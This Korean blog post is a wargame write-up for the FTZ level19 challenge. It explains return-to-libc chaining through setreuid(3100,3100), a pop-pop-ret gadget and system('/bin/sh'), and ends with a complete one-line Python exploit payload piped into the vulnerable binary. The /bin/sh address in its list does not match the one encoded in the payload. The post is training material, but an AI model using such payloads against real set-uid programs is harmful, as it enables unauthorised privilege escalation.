본문 바로가기

Pwnable/▷ Study

ftz level19

해당 문제 코드는 정말로 간단하다.

그래서 일반적인 RTL 페이로드를 작성한 후에 실행하였더니 권한이 level20으로 올라가질 않는다.

이유를 찾아봤더니 setreuid 함수가 없다.

RTL 에서 setreuid 도 추가하여 RTL Chaining 기법으로 문제를 풀었다. (참고 - RTL_Chaining.pdf

일단 구조먼저 살펴보면

str[20] + dummy[20] + sfp[4] + ret[4] 이다. 


필요한 것

1. system() 함수 주소 (0x4203f2c0)

2. /bin/sh 함수 주소 (0x421273a4)

3. pop_pop_ret gardget (setreuid 인자가 2개이므로 pop 이 두개다) (0x804849d)

4. setreuid 함수 주소 (0x420d7920)

5. setreuid 인자

3100 3100 이므로 리틀엔디안 4byte 형식으로 바꿔주면 아래와 같다

\x1c\x0c\x00\x00


이제 이어붙이기만 하면 된다!!

payload

(python -c 'print "A"*44 + "\x20\x79\x0d\x42" + "\x9d\x84\x04\x08" + "\x1c\x0c\x00\x00" + "\x1c\x0c\x00\x00" + "\xc0\xf2\x03\x42" + "AAAA" + "\xa4\x7e\x12\x42"';cat) | ./attackme

순서는 "A"*44(sfp까지덮고) + (setreuid 주소) + (pop_pop_ret 인자 두개 메모리 할당) + (인자1) + (인자2) + (system주소) + (공백4byte) + (/bin/sh 주소) 가 된다

너무 재밌다

'Pwnable > ▷ Study' 카테고리의 다른 글

lob 18  (0) 2018.02.21
ftz level20  (0) 2018.02.18
ftz level18  (0) 2018.02.17
ftz level17  (1) 2018.02.17
ftz level16  (0) 2018.02.17